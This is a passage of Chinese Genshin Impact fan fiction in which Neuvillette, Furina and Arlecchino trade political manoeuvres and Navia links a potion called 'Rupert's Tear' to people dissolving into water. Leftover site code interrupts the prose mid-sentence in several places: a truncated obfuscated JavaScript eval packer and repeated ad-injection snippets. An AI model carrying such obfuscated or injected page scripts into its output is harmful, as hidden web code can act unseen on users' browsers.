那维莱特直觉不详,放在桌上在手不觉紧了紧。 “我自幼生活的枫丹,素来听闻从前有一名医术高超的巫婆,收了一名美露莘弟子,而她现在好像肩任梅洛彼得堡护士长一职。” “我此来,便是想拜托那维莱特先生,请那位美露莘医生出面,帮忙治疗菲米尼。” 那维莱特垂眸默然片刻,认真道:“你既自幼在枫丹长大,应该很清楚,梅洛彼得堡自古便独立于枫丹廷的管理体系之外,我与芙宁娜都没有对其直接管理的权利。” 芙宁娜不知道那维莱特为什么这么说,但在阿蕾奇诺视线望过来的瞬间,立刻点了点头,表示同意那维莱特的说法。 阿蕾奇诺端起杯子,慢慢喝了一口茶水。 那维莱特这只狡猾的狐狸,这是在借口他没有管理权,婉拒了她。 “竟是如此吗?”阿蕾奇诺面上佯装诧异,“前代‘仆人’对壁炉之家的管理很是严苛,我继位后又忙于照顾孩子们和处理事务,对枫丹的政务系统还不曾系统了解过。很抱歉,是我贸然唐突了。” “其实在来之前,我不确定两位何时能看见我的拜帖,也不知何时能有空会见我。所以我派人,也向梅洛彼得堡的公爵大人,送去了一份拜帖。” “但我与公爵大人未曾有过交集,听闻梅洛彼得堡平时事务也较为繁重,不知那维莱特先生,可否能代我同公爵大人递个消息,优先处理我送去的拜帖?” 那维莱特已经拒绝了一次,现在面对阿蕾奇诺“只是帮忙传话”的小请求,有些骑虎难下之感。 阿蕾奇诺毕竟是至冬的外交官,若是再度拒绝,极可能有损害两国友谊,而且仆人提的这个要求,明面上看并不算过分。枫丹境内目前碍于“预言”的存在,本就局势不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“不可能,我不同意。”芙宁娜脸上情绪莫辩,“预言的事我会处理,不需要也不会让你们愚人众插手。” 仆人偏头问道:“那维莱特先生,我想知道对于我的提议,你怎么看?” 闻言,芙宁娜立马扭头,有些紧张地望着那维莱特。 “我虽还不知道‘预言’究竟代表了什么,但这里是枫丹,不是愚人众可以肆意插手,拨弄风云的地方。”那维莱特淡淡道。 “直截了当的拒绝吗?看来我们此次商议的进展不佳。”仆人脸上挂出一个完美的笑容,翘起二郎腿,“我尊重两位的意愿。” “哦,对了,如果芙宁娜小姐想要起诉我那两位同僚,我希望能以‘决斗代理人’的身份出面,参与庭审。” 那维莱特半眯下眼,冷冷道:“对于那两位未经手续,擅自入境的执行官,我会派人将他们遣送出境,并不需要经过庭审的宣判。” “最高审判官那维莱特先生,居然选择这样的处理方式吗?”仆人悄悄叹了一声,“那可真是……太可惜了。” 36.Chapter 36 7.23 Tuesday 午后震雷 窗外骤响惊雷一声,一道闪电紧随其后,划破阴沉沉的天空。 仆人面窗而坐,闪电带来的光,照在她的面容上,从暗到明,再由明转暗。 她徐徐放下翘起的腿,起身说道:“芙宁娜小姐,那维莱特先生,若没有别的事项,恕我先行一步,菲米尼还需要我的照顾。”她此刻的姿势是自高至低地俯视着那维莱特和芙宁娜,语气柔和而不失刚韧,而她的表情,却是一如既往地平和。 那维莱特先是望向了芙宁娜,再看到她摇摇头后,淡淡“嗯”了一声,垂眸写了一张字条撕下,放在桌上,推过去道:“将它交给梅洛彼得堡入口处的工作人员,她们会帮你带话给公爵。我与芙宁娜还有事需要商议,无法远送,书记官会带你出去。” 说罢,他扬了扬手,办公室的大门随之打开。 仆人走上前,拿起字条看了一眼,笑道:“我对梅洛彼得堡不太熟悉,可以劳请书记官多送我一程,将我带过去吗?” “可以。”那维莱特点头。 仆人走后,那维莱特和芙宁娜对视了一眼,沉默不语。 本次与仆人在计划之外的会谈,明面上礼数齐全,氛围融洽,但围坐在一起的三人的内里一经剥开,却是黑白分明,各怀鬼胎之相。 “为什么不让我提起诉讼。非法入境,也可以走庭审啊。”过了好一会,芙宁娜抬眸问道。 那维莱特沉吟道:“你不觉得她对梅洛彼得堡,总有种特别的关注吗?” “啊?有吗?”芙宁娜愣了一下。 “首先,如果我没记错,那位在她口中,因为贪玩而深潜到海底的菲米尼,除了潜水技术高超以外,自身还有持冰元素神之眼。” “我反应过来了。”芙宁娜恍然大悟道,“作为潜水爱好者的菲米尼,如果是一个人潜到海底昏迷,不可能及时被发现,得到救治。而现实确实他一出现状况,立刻就被救上了岸,且第一时间就被送回了壁炉之家。” “这证明了他不是一个人在行动,最少是两个,或者是一支小队,既然如此,便可以排除他是因为装备问题,而在海底遇难。” 那维莱特肯定地点了点头,继续说道:“这便是第二点了。试想一只装备精良的愚人众小队下潜到枫丹海底,最有可能是为了什么。” “若说是博士麾下的普通风累水冰四色小队,还有可能是为了采集海底生物样本,收集实验素材。可菲米尼隶属仆人麾下,而且他还是从一路壁炉之家培养出来的,深的仆人信赖的得利干将。他的目的,绝不简单。” “枫丹的海底,除了自然动植物,便是美露莘生活的海沫村、各类远古遗迹以及梅洛彼得堡。”芙宁娜的脸色瞬间阴沉下来。 紧接着,她又道:“远古遗迹我们没有进行官方的人为干预,海沫村也是,且这两者都算不得什么危险的地方。所以三者相比较下来,只有梅洛彼得堡,是由人在看守,而他们若想避开看守,势必不能走常规通道,需要绕路。” “我猜想,菲米尼大概就是在绕路的时候,意外碰到了什么,才会导致他昏迷不醒。”那维莱特屈指敲了敲桌子,“而这个东西,想来愚人众也没有头绪,所以仆人才会想亲自去一趟梅洛彼得堡,一来让希格雯给菲米尼治疗;二来则是借此机会,进去一探究竟。” “我现在可算是明白你在打什么主意了。”那维莱特话音刚落,芙宁娜猛一拍桌子道。 “仆人和你玩以退为进,你也陪着她玩。你答应给仆人写引荐函,实际上完全是存着将仆人丢给莱欧斯利处理的心思。” “是的。”那维莱特波澜不惊道,“至冬的三位执行官,不管他们各自是出于什么目的来到的枫丹,他们都归顺在冰之女皇的麾下,论最终的战线,他们是一个阵营。” “纵使我身为水之龙王,独自应对三位执行官,难免会有所疏漏之处。不如将他们分散,逐一摸清目的,寻找和平解决的方法,尽快将他们请离枫丹。” 听到这话,芙宁娜不开心了,起身走到办公桌前,右手握拳,用指关节反扣了几下桌面。 “这话怎么说的?你将我,堂堂水之神明、枫丹的神明——最公正、无私、正义的芙卡洛斯殿下置于何地?” 那维莱特:“……” 片刻后,他缓缓说道:“听闻,愚人众的前三席执行官,拥有能与神明比肩的武力。” “据我所知,‘博士’位列第二席,‘仆人’稍次,位于第四席。而‘公子’虽是末席,却有‘纷争至上’的称号,喜好与各地强者交手。” “芙宁娜女士,倘若事态真的发展到言语不可控,非武力不解的阶段,你想应对他们三人里的哪一位执行官?” 芙宁娜尴尬地笑了两声,“我的意思是,我可以帮你一起处理‘言语可控’阶段的交锋。” 那维莱特无奈地摇了摇头,没再多说什么,顺着她的话接道:“如此甚好。” “‘博士’和‘公子’入境枫丹,我们目前并未收到消息。仆人心知这一点,却选择了主动告诉我们。” “根据情报显示,她与公子因为负责的事务不同,主管地区也相隔甚远,两人很少有交集。同时,公子在璃月事件之后,好像得到了一个很长的假期。从他最近千里迢迢跑去稻妻捉大貉妖的行径来看,应尚在休息,可以暂且放下不论。” “我认为需要多加关注的是她与博士。她作为壁炉之家的家主,曾斩断了壁炉之家前代主人与博士的合作关系,迫使博士不得不另谋合作对象。他们之间的关系,可算不上好。她这次愿意载乘博士入境枫丹,就显得十分奇怪。” “嗯?”芙宁娜头歪了一下,脑袋上的呆毛跟着晃了晃。 “你当时答应把智源孤儿院和里面的孩子交给仆人,难道不是考虑到,在不清楚孩子们被博士动了什么手脚的情况下,让同为执行官的仆人去与他交涉,对救助孩子们比较好吗?博士这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 次来枫丹,难道不是为了治疗那些孩子?” “我反倒是觉得公子很奇怪,之前还在稻妻拍照、带孩子玩,完全处于度假的状态,闲适无比,怎么就突然跑到一没友人,二没来过的枫丹了?并且他是与仆人一起来得,也就意味着,他还回了趟至冬,难保不是接到了什么新的任务。” 那维莱特垂眸思索了一下,赞同道:“你说的也有道理,如此……” 两人几乎同时开口说道。 “如此一来,不如我们分工……” “你盯博士,我看公子,仆人交给莱欧斯利。” 那维莱特颔首同意。 “那就这么定下了。”说完,芙宁娜转身提步就走。 然而刚迈出两步,她又很快停下,回眸对着那维莱特语气异常严肃道:“优先处理执行官的事,你手里那个‘鲁伯特之泪’的案子,可以先放一放。” 那维莱特心中忽生疑惑,却面不改色地点头应下。 他望着芙宁娜在转过身后明显像是卸下什么重担,松了一口气,步子都轻快不少的模样,陷入了深深的困惑。 以他对芙宁娜的了解来看,已经在他手里处理的案件,芙宁娜并不会直接参与,顶多会问上两句,关心一下进度。从来没有以这般算得上强硬的口味,直截了当“命令”似的强势插手。 而且她最近一直在调动人手,彻查“枫丹预言”的事…… 蓦然间,那维莱特脑海中飞快闪过一道灵光。 难道说,这个“鲁伯特之泪”,与“枫丹预言”有所关联。 念及此,那维莱特赶忙在纸上记下这一条崭新的思考方向,准备等到晚上的休息时间,就此推演一遍。 外头的天愈发昏沉,接连不断的雨下得很大。 那维莱特走到窗边,静静看着窗外,听着在耳边炸开的一声声雷鸣,心中悠悠生出一抹难以描述的情绪。 总感觉,枫丹快要变天了。 他站了约莫一刻钟的时间,待调整好纷乱的心绪,便重新坐回办公桌前,翻开了下一本等待批示的文件。 但没过多久,迫切的敲门声被雷鸣盖住,一位浑身湿透了的女士,在久无回应,迫不得已的情况下,闯进了办公室。 那维莱特抬头看向来人,诧异道:“娜维娅小姐?你怎么……” 没等他说完,娜维娅快步流星奔到办公桌前,双手拄在桌面上,气喘吁吁道:“我知道…… 我知道,‘鲁伯特之泪’究竟是什么了!” 那维莱特起身,微微偏头,视线有意避开她,绕开办公桌走到休息区,弯腰从木柜子里取出一块小毛毯,放到办公桌上后立刻背过身去往外走。 “娜维娅小姐,天凉,湿衣服穿久了容易感冒,你先披着毯子,稍后我让秘书带你去客房更换衣服。” “你先听我说完!”娜维娅拔腿就追上去。 她心领那维莱特的好意,但她的身体比起“鲁伯特之泪”来说,一点也不重要! 37.Chapter 37 7.23 Tuesday 下午雨绵 娜维娅三步并两步冲上去,顺利拦住了已经走到门口,握住门把手的那维莱特。 窗外的雨仍在簌簌落着,寒凉的风吹在海蓝色窗帘的腹部,鼓起又落下,落下又重新撑起。 两人目光碰撞,僵持了片刻。那维莱特望着她眼底的坚毅一怔,又细感到她周身翻滚涌动着一股情愿只身赴死的孤勇与愤慨。 少倾,那维莱特松开了手,退了一步道:“坐沙发上谈吧。”说完,他走到墙边,搽火点燃了闲置已久的壁炉,又翻掌控水,运了个单人沙发过来,而后走到休息区倒水泡了盏热茶。 娜维娅也不和他客气,裹着毯子坐下,将湿漉漉的头发撩到靠背上铺开。 “抱歉,我办公室里只有会客用的茶水。”那维莱特放下茶壶,走过来。 “我这里有红糖姜茶!”突然,从门外传来了一个青年男人的声音。 “你个没有一点眼力见的混小子,不知道大小姐和那维莱特大人在里面说正事吗!” 那维莱特端着茶杯的动作微顿,另一只空着的手一扬,隔空挥开了办公室的门,“都进来吧。” 西尔弗不好意思地摸了摸后脑勺,蹑手蹑脚偷感很重地一边垫着脚挪进来,一边伸长了脖子,眼珠子轱辘轱辘转个不停。待瞅见娜维娅坐在温暖的壁炉旁后,他脸上担心的表情以肉眼可见地速度消退了下去。 下一瞬,他细心地留意到壁炉旁只有娜维娅坐着的一个沙发,便殷切上前,提起一把椅子,搬到壁炉旁,“那维莱特大人,您坐您坐,您和大小姐谈事就好,不用管我们。” 那维莱特扫了眼紧挨着壁炉,离路子里跃动的火苗不到一米的凳子,手指动了动,无声无息地它悄悄挪远了些,“二位自便。” 闻言,从走进办公室之后,始终秉持礼节立在门边的迈勒斯拿下头顶的帽子,对着那维莱特躬身一礼,而后以一种十分自如的姿态缓步走到休息区,从魔术口袋里掏出菜板与小刀,继而接过西尔弗递来的生姜和由报纸折成的盒子,坐下,开始削起了生姜。 那维莱特:“……” 他望了眼娜维娅,却发现她的心思不在这里,垂头靠在椅背上,不知道在思索着些什么。 “我们要得急,这样一整块的红糖,要用刀刃一点一点刮下来,在沸水里才融的快。”等那维莱特看过去,只见迈勒斯正手把手教导起了西尔弗。 他很快收回目光,无视了跟班二人组削皮磨糖,虽然尽可能压着手里的动作,力求降噪,不打扰壁炉旁两人谈话,只可惜他这番好意却没什么成效。 耳目聪颖的那维莱特,仍旧能听见围在休息区的跟班两人,传出的“刺啦刺啦”,令人牙酸的动静。 见状,他的眉尾稍稍往上抬了一些,但什么都没说,仅仅是撩起衣服后摆坐到了椅子上,而后展手示意娜维娅可以开始了。 娜维娅一下子坐直了身子,目光炯炯道:“那维莱特大人,你听过‘鲁伯特之泪’这个名字吗?” “……”那维莱特稍作犹豫,少顷之后直言道,“特巡队近期正在调查这个组织。” “它不是一个组织的名字。”娜维娅摇摇头,立即否认了他的说法。 “嗯?” “严格来说,‘鲁伯特之泪’是一种药水。”娜维娅解下挂在腰间的魔术口袋,从里面拿出一个文件夹,又打开文件夹,取出一张残破的黄纸。 “这半张纸条,藏在了我父亲的旧衣箱中,被缝在衣箱最底部的一件皮衣中。” 那维莱特拿过黄纸,没有先关注上面写的内容,而是将纸张正反翻着看了看,拇指与食指轻轻搓了搓纸面。紧接着他翻到正面,挑着纸上的一些常用字词仔细观察。 良久,他笃定道:“昨天,我收到了一份与这张纸的质地材质十分相似的图纸,并且从常用字词的落笔力度与笔画笔锋分析,两份图纸应是一套,且出自同一人之手。” “另一份图纸的内容是什么?”娜维娅本已经平和下来的情绪猝然变得很激动,“上面记载了药剂的配方吗?” “是的。”那维莱特颔首,“我已经将图纸交给了信得过的人去分析研究。” 娜维娅不由起身,惊问:“人?什么人?是拥有枫丹血统的人吗?” 望着她愤愤而又惶惶的姿态,那维莱特颇感怪异,拧眉回答道:“我交给了希格雯,她是美露莘。” 娜维娅顿时松了口气,踉跄倒了一步,跌坐回单人沙发。 正好,迈勒斯冲好了姜茶。 “谢谢。”娜维娅接了过来,喝了一口,继续道,“除了这张图纸,我在那件皮衣的夹缝中,还找到了一页被撕下的笔记本内页,上面只有我父亲的一句话。” 那维莱特一面听着她说,一面垂眸细细查看图纸。 娜维娅哑声,刻意压着嗓子,以一种沉稳而又沧桑的口吻,转述道:「在触碰它的瞬间,每一位枫丹人,都成为了那条童话故事里的小美人鱼。」 “很明显,第一句话的‘它’指的正是‘鲁伯特之泪’。”娜维娅道,“第二个短句限定了对象是‘枫丹人’。” “再看第三句,故事里小美人鱼在日出时分,接触到日光的瞬间消失,变成了泡沫。强调了‘接触’这一个前提,和‘消失’变成‘泡沫’,也就是‘水’,这一个结局。” 就在这时,那维莱特看见了图纸最底部角落里的一句话,他还没来得及出声,便听娜维娅继续说道:“那维莱特大人,你不觉得这与前几天魔术师林尼的案子,有太多的重合之处了吗?” “在今天之前,我与你的思路一样,我认为这是一个恐怖组合的标志性作案手段,但现在看来,犯人或许从来不是一个组织,而是所有获得了这种药剂的人。” “我不知道你有没有印象,十五年前的博勒斯诬告案、十三年前秋分山神饲案、九年前柔灯港失踪案,还有四年前枫丹廷的袭击案。” “在这些案件里,现场无一例外都出现了一滩来路不明的水,并且当事人都坚称亲眼看见‘人被融化成了一滩水。’而在博勒斯诬告案和柔灯港失踪案里,合计有三位证人笔录中说当时被莫名其妙泼了一身水。” “我怀疑他们都不是枫丹人,但我没有调查入境记录的权限,所以就托熟人去查了他们三个人与港口商户的交易记录。很快,就证实了我的猜想,他们确实都不是枫丹人。” 那维莱特抬眼,沉声道:“所以,你认为存在一种药水,枫丹人接触了之后,会像冰遇烈火一般,被融化成水?” “是的。”娜维娅斩钉截铁道。 “这张图纸可以先借给我一段时间吗?我一并拿给希格雯,她对药剂方面颇有研究。”那维莱特问道。 “当然可以。” “我一去一回约莫需要二十分钟,正好你可以趁着这段时间,更换一下打湿了的衣裙。” “啊?行……”那维莱特话题跳得有点快,娜维娅一时没反应过来,愣了一下,眼睁睁看着那维莱特将图纸装到一个崭新的文件袋里。 “等……等等!” “怎么了?”那维莱特惑道。 娜维娅再一次拦在他身前,“不应该先下令,将派出去的人手撤回来吗?” “我方才便想同你说,可一直没找到机会。”他示意娜维娅一起离开办公室。 娜维娅闪身让开,落他一步跟在后面,耳尖浮现出一抹不自在的红晕。她刚刚被悲愤的情绪控制了,只顾输出观点,完全没给那维莱特留反馈的空隙。 “看页底原料的备注描述,制作‘鲁伯特之泪’所需材料中最重要的一项,我有些熟悉。”那维莱特往外走的同时幽幽说道,“并且我有百分之九十的把握,能肯定就是它。” “而它,数量稀少,通常只能在海底采集,且寻常普通人很难接触……” 说着,那维莱特蓦然脚步一顿,怔在原地。他感觉这话有些熟悉,立即联想到了他午间与仆人的会面。 所以……那位名叫“菲米尼”的潜水员,也是接触了……正在海底躁动的那个东西? “普通人很难接触,然后呢?”又是那位没眼力见的西尔弗,大声问道。 然后,他就亲眼看着那维莱特身影一闪,消失了。 “那维莱特大人……不会被溶解了吧……” 迈勒斯反身给他了一拳,“你个傻小子,他是实力高强,身法太快 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,已经走没影了。” · 说是来回二十分钟,可实际上,那维莱特以最快的速度赶到梅洛彼得堡时,也就花了七八分钟。 他轻车熟路地来到梅洛彼得堡的办公区,敲开莱欧斯利的办公室。 “嗯?你最近往我这跑得是不是有点频繁。”贸然见他,莱欧斯利有些诧异,“怎么,今儿来,是不放心那位执行官来水下品茶吗?” “品茶?她是这么说的?” “是呀。”莱欧斯利耸了耸肩,“喏,你看,白纸黑字写了的,‘茶话会’,还说带了至冬的茶送给我。” “她还没来吗?” “没有,约得是下午四点半。” 那维莱特又问:“底下情况如何?” 谈及正事,莱欧斯利漫不经心的表情瞬间收起,严肃道:“不太妙,我看压力表已经快到阈值了。” “有没有产生原始胎海泄露的情况?” “嘶……”莱欧斯利倒抽一口冷气,“我不太确定。” 那维莱特果断道:“下去看看。” 莱欧斯利利落地按下机关,办公室的地面徐徐下降,变为一个旋转楼梯。 两人顺着楼梯下去,向前走了一节,只见一个巨大的仪表盘出现在眼前。而仪表盘上的指针,压在了表盘上红颜色,代表危险的区域。 “应该还能再撑上一段时间。”莱欧斯利摩挲着下巴,评估道。 那维莱特冷声道:“最近在枫丹廷引起的恐慌的案件很有可能与原始胎海有关,防患于未然吧。打开阀门,我试试,尽力把它压回去一些。” “你果真能控制这玩意,所以……”莱欧斯利声音渐弱,说道最后,他蛮无所谓地笑了笑,转身操作起闸阀。 那维莱特召出手杖,双手拄这杖头,冲莱欧斯利微点下颌。 约莫三息,在“咔嗒”一声巨响之后,在阀门打开,被牢笼拘束多年的紫蓝色原始胎海喷涌向外。 那维莱特握着手杖重重一敲,一道金色的光柱刺入蓝紫色的水面,紧接着一个巨大的深蓝阵法降下,将涌出的原始胎海死死压了回去。 在阵法完全没入巨大的圆形仪表盘的瞬间,莱欧斯利眼疾手快拉下开关,重新合上阀门。 “呼……看这你游刃有余,连衣服微脏都谈不上的模样,总感觉很轻松。”见指针回到绿黄相接的位置,莱欧斯利心情大好,调笑道。 那维莱特不知道怎么回,扯唇笑了笑。 他们走上楼梯,回到办公室里,那维莱特顺势拿出了图纸,说明事由。莱欧斯利站在办公室门口,扬声随便唤了个人,让他跑腿去让希格雯过来一下。 而后一人一龙就坐了下来,边聊边等人。 当然,是人等人,非人的龙等非人的美露莘。 闲侃了两句,莱欧斯利的目光突然上上下下,将那维莱特全身都打量了一遍。 那维莱特低头扫了眼衣服,没发觉有什么不对的地方,问道:“怎么了?” 莱欧斯利的视线实在过于直白了些。 “我亲爱的最高审判官,你今天身上好像少了件东西?” “恩?” “那个小家伙,今儿没跟着你来吗?”莱欧斯利饶有兴致问道。 那维莱特脑子一宕,呆愣在原地,就连声音都变得有些干涩:“现在几点了?” “嗯~好问题,我看看哈。”莱欧斯利拉开抽屉,摸出一块怀表,“我表好像不太准,现在大概六七点吧。啧,看来我被开茶会的放鸽子了。” 在他拉开的抽屉里,除了一沓全新的贴画以外,还有一小把色彩缤纷的糖果。 “你问时间做什么?” 那维莱特揉了揉眉心:“我……把伊芮娅……忘了……” “呵,看来今儿不止我被放了鸽子。”莱欧斯利无情嘲笑道。 于是乎,从一大早就开始忙碌的那维莱特,经过莱欧斯利的提醒,才想起来在同样位于海底的海沫村里,还有一只可怜兮兮的小人鱼,正翘着尾巴,爬在村口的一颗粉色珊瑚里,眼巴巴地等着家长来接它放学。 原先只是劳碌命的最高审判官,从今儿开始,又多出了个奔波的属性…… 38.Chapter 38 7.23 Tuesday 暮色雨歇 被愧疚与不安堆了满身的那维莱特拜托莱欧斯利把文件拿给希格雯,而后匆匆忙忙赶到海沫村,径直冲向学堂,见里头空无一人,即刻入水下到海沫村更深一层,往阿加莫的屋子游去。 那维莱特敲开她家门的时间是傍晚七点零一分。 这个点儿,阿加莫正在制作晚饭最后一道菜——生鱼片沙拉。 那维莱特没在学堂找到小人鱼,便以为它同阿加莫在一起。没想到,等他满心满眼找过来时,却得到伊芮娅早已经离开了的回答。 那维莱特心口顿时凉了半截瞬间,匆匆追问起小人鱼的去向。哪成想,阿加莫摇了摇头,扬起的小脸上满是疑惑,“不清楚哎”四个字没等那维莱特做一丁点心理建设,就这么直白的、猝不及防的砸了出来。 那维莱特眼前一黑,眼前瞬时闪过一副与阿加莫身后餐桌重叠的画面。 生鱼片、红烧鱼、酸菜鱼等一系列菜品,整整齐齐装在餐盘里,一个接着一个端上了桌。 少顷,他轻轻揉了揉眉心,将这个荒唐可笑的念头驱逐出头脑,复问道:“它一个人……一条鱼离开的吗?” “哦,那倒没有。”阿加莫伸手拍了拍脑袋,“我记得它被一个奇怪的人接走了。” 一提到“奇怪”两个字,那维莱特心中立马有了怀疑的对象,“是不是一个穿着奇怪袍子的男子。” 是的,塞勒洛斯因为黑袍引出祸事,很干脆地把他丢了,继而芙宁娜掏来了那维莱特的钱包,抽出几张大洋借给他。第二天,他就换上了件红黄相间的新袍子,成为了沫芒宫一道闪亮的风景线。 “是的是的。”阿加莫点点头,“我们五点放学,伊芮娅没人来接,等到五点半的时候,他过来了。我拉着伊芮娅盘问了他五六分钟,见他们真的熟识,才让他带走伊芮娅的。” 听他这么说,那维莱特紧张的心情稍稍平复了些。他已经可以断定,来接走小人鱼的人正是塞勒洛斯。只是塞勒洛斯不是说他不识水性,连游泳都不会,这会又怎么能下潜到海底呢? 而这个问题,只有等找到塞勒洛斯之后,当面询问他,才能得到解答了。 那维莱特半蹲下身子,平视着阿加莫道:“抱歉,我今日忙于公务,没注意时间,险些将这件事情忘了,麻烦你多带了伊芮娅半个小时。” “没事呀,伊芮娅很乖,大家都非常喜欢它。” 闻言,那维莱特嘴角不禁勾起一个浅浅的弧度。 就在他打算与阿加莫告别时,余光瞥见了一个熟悉的身影。 他扭头定睛看去,只见一抹青黑的身影,躺在一只机械大嘴鱼背上,旁边还围了四个人左右,穿梭在海底的珊瑚从中。 “阿加莫,那边好像有些突发情况,你先回去吃晚饭,我过去看看。”那维莱特果断道。 “哦哦,好的。”阿加莫乖巧地又点了点头。 随后,那维莱特脚尖一点,身子借力游了出去。 不消一分钟的功夫,他就已经拦下了琳妮特一行人。 “你是什么人?”一个手握水枪的蓝胖子举|枪呵道。 “枫丹最高审判官”那维莱特望着陷入昏迷,躺在机械大嘴鱼上的人,问道,“琳妮特怎么了?” 四个愚人众小兵你看看我,我看看你,最后体型和水枪胖子相当的冰胖子一个跃步扑上前,怀里抱着的武器也撒手顾不上了,抱住那维莱特的腿就开始哭嚎。 “我滴水之神明,亲亲亲爱的审判官大人,求您救救琳妮特妹妹。” 那维莱特不动声色抽出了腿,稍稍往后退开了半米。 “胖子冷静些。”手握雷锤的黑紫衣服士官呵斥过后,同样是一脸恳切地望着那维莱特,说道,“我知道这个请求十分冒昧,但……请您,帮我们护送琳妮特到岸上,再联系壁炉之家过来接她,仆人大人一定会有重谢。” “你们为何不送她上去?”那维莱特反问。 抱着火枪的男人平淡解释道:“这里是海底,以我们的速度游到水面需要一个多小时,维持水下呼吸的药水只剩下最后一瓶,只够一人在水下自由呼吸一个小时。我们的选择是留给琳妮特妹妹。” “还不是都怪你!药水是博士大人研发的,异常珍贵。”冰胖子情绪激动,嚷嚷道,“都是你!非要拿一瓶药水给那个袈裟怪人。你若不给他,你就能活着回去了!” “胖子,你少说两句。” “是,那瓶药水按分配是你的,你可以随意处置它。但就算你不需要,你就不能留给团队吗?你不想活……” “好了。”见冰胖子情绪濒临崩溃,那维莱特抬手制止了他,“无须争执,不是什么大事,我送你们上去吧。” 此言一出,四个人,八双眼睛整整齐齐落在那维莱特身上。 那维莱特还急着回沫芒宫找伊芮娅,没再废话,直接抬手一人给了一个大水球,催动水流载着他们往上游。 这厢水龙一出手,可比愚人众光靠四肢浮水快多了,几分钟就将几人抛上了岸。 撤去水球,那维莱特只余光带了一眼劫后余生,对方才乘水上浮感觉惊奇万分的四人,走到琳妮特身边,蹲下,取下一只手套,放在她的眉心处,感受起她身体里的水。 正如他猜测的那样,他可以在琳妮特体内感知到极其微弱的原始胎海水的气息。随即,那维莱特指尖轻触琳妮特的额头,将原始胎海水从她身体里抽离。 她摄入的量不算多,片刻后,那维莱特起身,边带回手套,边问道:“你们四个,不是土生土长的枫丹人?” 雷锤答复道:“啊,是。我们都是差不多十二岁的时候,从至冬来到枫丹的。” “嗯。琳妮特已经没什么事了,只需要带回去好好修养几日。”说着,那维莱特突然话锋一转,正色严肃道,“你们回去之后,劳烦转告仆人。海底不似雪峰,并不是多派出些队伍,就能用双手双脚丈量的。” 语罢,他立即转身走了。 待那维莱特来到沫芒宫前,下个得有四五个小时的雨总算停了。头顶上,乌云散去,露出了如同洗过一般湛蓝色的天。远处的山峦经过雨的冲刷,愈发青翠。空气中,弥漫着泥土和植物的新味,显得这人事间充满了美好与生机。 那维莱特一进门,瞬间就感觉到了大厅里面气氛压抑而又凝重,每个人都低着头,手里忙忙碌碌不知道在做什么。然后他就见他的书记官顾不及怀里抱着的一摞材料,就算是只用单手艰难地搂着,也要腾出一只手疯狂给他打手势。 昔日里,只有芙宁娜生气发火时,沫芒宫才会是这么个氛围。 “芙宁娜在哪?” “水神大人此刻在休息室里。”一只完全缩在工位里的美露莘弱弱回道。 那维莱特“嗯”了一声,抬头望了眼显示现在七点四十一的座钟,纠结了一会后,他决定仿照着芙宁娜的行事作风。 那维莱特声音略略提高,保证大厅所有人都能听见,说道:“七点过了,大家下班回家休息吧,今天辛苦你们了,过后可以找各分管领导,开条子补休半天。” 整个大厅刹那间活跃了起来,除了欢呼之外,更多的声音是在奇怪最高审判官大人今日怎么如此近民。 处理完这头,那维莱特边思索芙宁娜今儿这么大火气哪来得,边往水神休息室走。 这个问题,等他拉开休息室的大门,看见里面的场景,便立刻得到了答案。 圆桌上,没有什么表情的塞勒洛斯坐在低垂着头,看不清神态的芙宁娜身边,她的对面,坐着的是执行官仆人。 而在仆人黑色的右手上,趴着一条银白色头发的小鱼。 那维莱特登时绷紧了嘴角。 伊芮娅怎么会在仆人手上??? “晚上好,那维莱特先生,没想到短短一天时间,我能与你有两次会面谈话的机会。”仆人优雅笑着打招呼道。 那维莱特反手合上门,来到桌边坐下,“你没去梅洛彼得堡。” “是的,对此我感到很抱歉。收到公爵回帖后,我就出门往歌剧院后面去了,但是路上突然收到紧急救援通知。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' p> 那维莱特:“愿闻其详。” 仆人顶着那维莱特犀利的目光,温柔地将小人鱼放到它的专属座位上,继续说道:“白淞镇发生了地陷坍塌自然事故,我的孩子林尼刚好在那附近,除了立即调动人手参与救援行动以外,他还传了消息给我。我两相衡量之后,选择了去支援白淞镇。” “地陷坍塌面积很大,我们带去的人手不足,所以只能派出一位,先到沫芒宫将事情告知芙宁娜小姐,请她增派人手,再行赶往梅洛彼得堡,代我向公爵致歉。” “怎么会突然发生地陷,白淞镇现今情况如何?”那维莱特问道。 仆人回道:“还在救援阶段,大半个镇子都倒了,具体伤亡数量难以估计。” “我代表枫丹,感谢你在危难时刻出手相助。”那维莱特起身礼道。 仆人嗤笑了一声,“那维莱特先生,你现在感谢我,可能有些过早了。” “我此来不是为了邀功,枫丹是我出生长大的家园,保护它、帮助它、救助它,是每一个壁炉之家孩子们的愿望。”她顿了顿,语气加重了些,“我实际上,是想借这次茶话的机会,向芙宁娜小姐咨询一个问题。” “啊”芙宁娜仓皇抬头,“什么……什么问题。” 仆人:“我想知道那种触碰到,就让人溶解了的水,究竟是什么?作为水神的你,为何向大众隐瞒这种致命物质的存在。” “以及,那维莱特先生。”她视线一转道,“林尼告诉我,就在几天前,他的魔术表演上,就出现过这样人溶成水的事故。并且此前亦有数桩不明失踪案,枫丹廷为何没有对此引起重视?” “所以,你是来问罪的?”那维莱特反问道。 仆人合掌撑住下巴,“问罪?确实也可以这么理解。我有几个孩子,在救人的时候,命丧白淞镇。我希望枫丹方面,能对此给我一个合理的解释。” “我……我不知道……”芙宁娜被仆人的眼底猝然亮起的血芒吓到,瑟缩道。 “身为水之神明,你觉得说你不知道这个理由,足以让你的子民信服吗?” 芙宁娜反驳:“我又不是初代水神,什么能把人溶解的水,我从来没有听过!” 仆人半眯下双目。 “那是原始胎海水。”那维莱特道,“提瓦特的生命大多都诞生自那片海洋。甚至可以用一种更为极端的表述,原始胎海水孕育了这个星球超过百分之九十的生命。” “原始胎海……”仆人摩挲着下巴,“好像从博士口中,听过这个名词。” “既然是孕育生命的水,为何会夺去生命?” 